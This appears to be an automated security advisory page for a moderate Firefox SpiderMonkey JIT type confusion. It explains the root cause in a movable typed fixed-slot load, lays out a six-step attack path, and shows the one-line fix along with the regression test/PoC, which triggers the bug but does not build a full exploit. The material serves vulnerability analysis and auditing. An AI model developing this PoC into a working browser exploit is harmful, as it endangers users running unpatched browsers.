Moderate firefox Type Confusion 🔧 Commit mapped

Overview

Moderate
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Impactmoderate
DescriptionInvalid pointer in the JavaScript Engine: JIT component
ComponentSpiderMonkey
Bug ClassType Confusion
Tracker2075990
Fix commit25fbb1fe95e1 (firefox) +32/-0
CISA KEVNot listed
CreditedMozilla
Disclosed2026-10-27

Background

WarpCacheIR transpiler
js/src/jit/WarpCacheIRTranspiler.cpp translates inline-cache (CacheIR) stubs into Warp/IonMonkey MIR during JIT compilation; emitLoadFixedSlotTypedResult emits MIR for loading a fixed object slot with a known (typed) result.
`MLoadFixedSlot`
A MIR node that loads a value from an object’s fixed slot at a constant index. Its result type can be narrowed via setResultType(...) based on the slot’s expected value type.
Movable MIR nodes
MIR instructions default to being eligible for optimizations like GVN (global value numbering) and LICM (loop-invariant code motion) that may hoist, merge, or reorder them. setNotMovable() pins a node so the optimizer cannot move/dedupe it, forcing the load to re-read memory at its original program point.
RegExp `@@matchAll` / `RegExpStringIterator`
RegExp.prototype[Symbol.matchAll] returns an iterator whose next() repeatedly reads fields (source, flags, lastIndex, exec) off the (possibly user-supplied, species-forged) matcher object. The PoC drives this iterator under Warp.
Typed-result assumption
A typed MLoadFixedSlot tells downstream MIR the loaded value’s type; if the underlying slot’s value type changes between the “real” load point and where a moved/merged load is scheduled, the typed assumption is stale.

Root Cause Analysis

The fix is a single line in emitLoadFixedSlotTypedResult: after building MLoadFixedSlot and calling load->setResultType(MIRTypeFromValueType(JSValueType(type))), the patch adds load->setNotMovable(); before add(load). Without setNotMovable(), the typed fixed-slot load is movable, so Warp’s optimizer (GVN/LICM) may hoist it, sink it, or merge it with another load — scheduling the memory read at a program point different from where the CacheIR stub intended. A fixed-slot load that produces a typed result encodes an assumption about the slot’s value type that was guarded at the stub’s original location. If the slot’s contents (and thus value type) can change between that guarded point and where the optimizer relocates the load — which the PoC achieves by mutating a species-forged matcher object’s source field from a string to a double (fakeMatcher.source = 13.37) across iterations — then the relocated load reads a value whose actual type no longer matches the typed-result assumption. Downstream code consumes that value as the asserted type, producing a type confusion: a double (or otherwise mismatched value) is treated as the originally-typed payload (e.g. an object/string pointer), i.e. an invalid pointer.

The regression test js/src/jit-test/tests/regexp/bug2075990.js is diagnostic: it disables off-thread compilation, raises inlining limits, warms up candidate() over a species-forged slow regexp and a fast regexp so Warp compiles the @@matchAll next() path, then mutates fakeMatcher.source to a different-typed value and re-invokes, expecting correct behavior. Marking the load not-movable forces it to re-read the slot at the correct point each time, so the mutated value is observed with its true type rather than a stale typed assumption. The advisory calls this an “invalid pointer in JIT”; the diff substantiates that the root mechanism is a movable typed fixed-slot load enabling a type-confusion/stale-type read — the “invalid pointer” is the downstream symptom of treating a wrongly-typed loaded value as a pointer.

Key insight
A typed MLoadFixedSlot emitted for a fixed-slot read was left movable, letting Warp’s GVN/LICM relocate or dedupe it so it carried a stale value-type assumption when the underlying slot’s type was mutated between the guarded point and the moved load — a type confusion that surfaces as an invalid pointer, fixed by pinning the load with setNotMovable().

Attack Path

  1. Set up a species-forged matcher Script defines an object with constructor[Symbol.species] returning a fakeMatcher whose source/flags/exec are attacker-controlled, used as the regexp for RegExp.prototype[Symbol.matchAll].
  2. Warm up the iterator path Repeatedly call the @@matchAll iterator’s next() on both a fast real regexp and the slow species-forged regexp to trigger Warp compilation that inlines the fixed-slot load for the matcher’s fields.
  3. Rely on the movable load In the compiled code the typed MLoadFixedSlot is optimized (hoisted/merged) under the type seen during warmup.
  4. Mutate the slot's value type Change the forged matcher’s field (fakeMatcher.source = 13.37) so the slot now holds a differently-typed value (double vs string) than the compiled typed assumption.
  5. Re-run the compiled path Call the iterator again; the relocated/merged load returns the mutated value but downstream MIR treats it as the originally-asserted type.
  6. Primitive achieved Type confusion: a non-pointer (double) is interpreted as a typed pointer payload, yielding an invalid/controlled pointer usable toward memory corruption (full exploitation inferred, not shown by the diff).

Impact Assessment

The bug is in the JIT compiler running in the content/renderer process and is reachable from ordinary JavaScript (no privilege required) by any page that can run script, since it only needs species forgery plus JIT warmup — both standard web-exposed capabilities. The primitive is a JIT type confusion producing an invalid pointer (treating a mismatched-type loaded value as a typed payload), the classic foundation for a controlled read/write and ultimately RCE in the renderer; the diff and PoC establish the type-confusion mechanism but do not themselves build the exploit, so escalation to code execution is inferred. Mozilla rates it moderate.

Changed Functions

FunctionChangeNotes
for
js/src/jit-test/tests/regexp/bug2075990.js
modified

Files Changed

  • js/src/jit-test/tests/regexp/bug2075990.js
  • js/src/jit/WarpCacheIRTranspiler.cpp

Audit Directions

  • Movability of typed loads
    Audit other emit*TypedResult / typed load emitters in WarpCacheIRTranspiler.cpp (and Ion’s MIR builders) for typed-result loads that remain movable where the underlying slot/value type could change between guard and use.
  • Species-forged objects under JIT
    Review regexp, array, and other @@species-driven paths where a user object’s fields feed JIT type assumptions, for other spots a field mutation can defeat a hoisted typed load.
  • GVN/LICM interaction with guards
    Check that loads whose result type is guarded by a preceding CacheIR type check are either pinned or kept adjacent to their guard so optimization cannot separate them.
diff --git a/js/src/jit/WarpCacheIRTranspiler.cpp b/js/src/jit/WarpCacheIRTranspiler.cpp
index 476ee74872e..6492966db88 100644
--- a/js/src/jit/WarpCacheIRTranspiler.cpp
+++ b/js/src/jit/WarpCacheIRTranspiler.cpp
@@ -2021,6 +2021,7 @@ bool WarpCacheIRTranspiler::emitLoadFixedSlotTypedResult(ObjOperandId objId,
 
   auto* load = MLoadFixedSlot::New(alloc(), obj, slotIndex);
   load->setResultType(MIRTypeFromValueType(JSValueType(type)));
+  load->setNotMovable();
   add(load);
 
   pushResult(load);
diff --git a/js/src/jit-test/tests/regexp/bug2075990.js b/js/src/jit-test/tests/regexp/bug2075990.js
new file mode 100644
index 00000000000..505396cc748
--- /dev/null
+++ b/js/src/jit-test/tests/regexp/bug2075990.js
@@ -0,0 +1,31 @@
+setJitCompilerOption('offthread-compilation.enable', 0);
+setJitCompilerOption('inlining.bytecode-max-length', 2000);
+
+const matchAllMethod = RegExp.prototype[Symbol.matchAll];
+const nextMethod = Object.getPrototypeOf(matchAllMethod.call(/a/g, '')).next;
+const fakeMatcher = {lastIndex: 0, source: 'a', flags: 0, exec() { return null; }};
+function CustomSpecies() { return fakeMatcher; }
+const slowRegexp = {constructor: {[Symbol.species]: CustomSpecies}, flags: 'g', lastIndex: 0};
+const fastRegexp = /a/g;
+fastRegexp.lastIndex = 100000;
+
+try { nextMethod.call({}); } catch (error) {}
+nextMethod.call(matchAllMethod.call(/()/gu, ''));
+nextMethod.call(matchAllMethod.call(slowRegexp, ''));
+gc();
+
+function candidate(regexp, count) {
+  const iterator = matchAllMethod.call(regexp, '');
+  let result = true;
+  for (let iteration = 0; iteration < count; iteration++) {
+    result = nextMethod.call(iterator).done;
+  }
+  return result;
+}
+
+for (let warmup = 0; warmup < 1400; warmup++) {
+  assertEq(candidate(fastRegexp, 2), true);
+  assertEq(candidate(slowRegexp, 0), true);
+}
+fakeMatcher.source = 13.37;
+assertEq(candidate(slowRegexp, 0), true);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/js/src/jit-test/tests/regexp/bug2075990.js b/js/src/jit-test/tests/regexp/bug2075990.js
new file mode 100644
index 00000000000..505396cc748
--- /dev/null
+++ b/js/src/jit-test/tests/regexp/bug2075990.js
@@ -0,0 +1,31 @@
+setJitCompilerOption('offthread-compilation.enable', 0);
+setJitCompilerOption('inlining.bytecode-max-length', 2000);
+
+const matchAllMethod = RegExp.prototype[Symbol.matchAll];
+const nextMethod = Object.getPrototypeOf(matchAllMethod.call(/a/g, '')).next;
+const fakeMatcher = {lastIndex: 0, source: 'a', flags: 0, exec() { return null; }};
+function CustomSpecies() { return fakeMatcher; }
+const slowRegexp = {constructor: {[Symbol.species]: CustomSpecies}, flags: 'g', lastIndex: 0};
+const fastRegexp = /a/g;
+fastRegexp.lastIndex = 100000;
+
+try { nextMethod.call({}); } catch (error) {}
+nextMethod.call(matchAllMethod.call(/()/gu, ''));
+nextMethod.call(matchAllMethod.call(slowRegexp, ''));
+gc();
+
+function candidate(regexp, count) {
+  const iterator = matchAllMethod.call(regexp, '');
+  let result = true;
+  for (let iteration = 0; iteration < count; iteration++) {
+    result = nextMethod.call(iterator).done;
+  }
+  return result;
+}
+
+for (let warmup = 0; warmup < 1400; warmup++) {
+  assertEq(candidate(fastRegexp, 2), true);
+  assertEq(candidate(slowRegexp, 0), true);
+}
+fakeMatcher.source = 13.37;
+assertEq(candidate(slowRegexp, 0), true);
Loading diff…